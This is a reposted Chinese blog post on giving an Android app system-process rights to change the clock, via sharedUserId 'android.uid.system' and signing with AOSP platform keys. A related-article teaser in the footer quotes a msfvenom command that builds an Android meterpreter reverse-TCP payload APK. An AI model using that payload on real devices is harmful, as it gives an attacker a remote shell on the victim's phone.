Android中如何修改系统时间(应用程序获得系统权限)

摘要:
然后将程序的UID配置为android。uidSystem,也就是说,让程序在系统进程中运行,这样您就有权修改系统时间。还有一个问题。以这种方式生成的程序只能在原始的Android系统或自己编译的系统中使用,因为这样的系统可以获得平台。pk8和platform.x509.pem文件。如果其他公司甚至无法安装Android。

    在 android 的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间,可惜无论你怎么调用这个函数都是没用的,无论模拟器还是真机,在logcat中总会得到"Unable to open alarm driver: Permission denied ".这个函数需要root权限或者运行与系统进程中才可以用。

    本来以为就没有办法在应用程序这一层改系统时间了,后来在网上搜了好久,知道这个目的还是可以达到的。

    第一个方法简单点,不过需要在Android系统源码的环境下用make来编译:
    1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。
    2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行
    3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。

    第二个方法麻烦点,不过不用开虚拟机跑到源码环境下用make来编译:
    1. 同上,加入android:sharedUserId="android.uid.system"这个属性。
    2. 使用eclipse编译出apk文件,但是这个apk文件是不能用的。
    3. 用压缩软件打开apk文件,删掉META-INF目录下的CERT.SF和CERT.RSA两个文件。
    4. 使用目标系统的platform密钥来重新给apk文件签名。这步比较麻烦,首先找到密钥文件,在我的Android源码目录中的位置是"build/target/product/security",下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名,signapk的源代码是在"build/tools/signapk"下,用法为"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用绝对路径防止找不到,也可以修改源代码直接使用。

    这样最后得到的apk和第一个方法是一样的。

    最后解释一下原理,首先加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system,也就是要让程序运行在系统进程中,这样就有权限来修改系统时间了。

    只是加入UID还不够,如果这时候安装APK的话发现无法安装,提示签名不符,原因是程序想要运行在系统进程中还要有目标系统的platform key,就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。

    这也有一个问题,就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用,因为这样的系统才可以拿到platform.pk8 和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名,程序在模拟器上运行OK,不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system",这样也是保护了系统的安全。

    最最后还说下,这个android:sharedUserId属性不只可以把apk放到系统进程中,也可以配置多个APK运行在一个进程中,这样可以共享数据,应该会很有用的。

    signapk编译结束后在 android目录下/out/host/linux-x86/framework/signapk.jar
使用方法:java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test_signed.apk
实践证明,第二种方法不需要删掉META-INF目录下的CERT.SF和CERT.RSA两个文件,直接signapk就可以。

    http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx

免责声明:文章转载自《Android中如何修改系统时间(应用程序获得系统权限)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇CefSharp使用一帆软报表查询下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

人脸识别手机端APK分享 | 极速体验人脸识别功能 创建一个简单的人脸识别手机APP程序

1.前言 虹软公司提供免费离线人脸识别,对于开发者提供了比较友好、完整的可配置demo。但是如需直接体验功能,还是要花一点时间去完成项目编译、配置等一系列工作,对于初学者、不怎么熟悉整个项目的人来说可能会踩不少坑。 本文是基于虹软人脸识别SDK V3.0 Android Java的demo,封装后输出的一个简单的的APK程序,直接安装到手机即可体验功能,...

android黑科技系列——实现静态的默认安装和卸载应用

一、访问隐藏的API方式进行静态的默认安装和卸载 1.系统安装程序 android自带了一个安装程序—/system/app/PackageInstaller.apk.大多数情况下,我们手机上安装应用都是通过这个apk来安装 的。代码使用也非常简单: /*安装apk */ public static voidinstallApk(Context conte...

Android : apk签名的多种方法以及key的配置

  方法一:使用Android SDK中的签名工具给apk签名:   (1)Android源码的 build/target/product/security/ 目录下有 media.pk8、media.x509.pem、platform.pk8、platform.x509.pem、shared.pk8、shared.x509.pem、testkey.pk8...

Android如何快速卸载apk

       在Adnroid中,直接运行ADB UNInstall无法卸载APK。害得哥每次进Settings去手工去卸载。        今天哥终于受不了,直接在DDMS里删除APK。然后再运行ADB UNINSTALL,居然成功!        所以哥马上写了三个脚本,一个是删除APK包括它下面的sqlite,share pref等,还有一个是卸载这...

利用Metasploit攻击Android

首先我在Kali下生成一个Android的应用程序,即apk格式的文件,用到的命令是: msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip LPORT=监听端口 R > /root/rb.apk 注释:-p:指的是在本次环境中攻击所使用的payload,这个payload就是将Android攻...

微信申请 包名和签名

开发环境: window 7 Egret Engine 5.0.14 Egret support 5.0.12 Eclipse    一  申请微信移动应用 二  怎么获取Android包名 三  怎么获取Android签名   一  申请微信移动应用 1 登录微信开放平台: https://open.weixin.qq.com/   2 管理中心-移动应...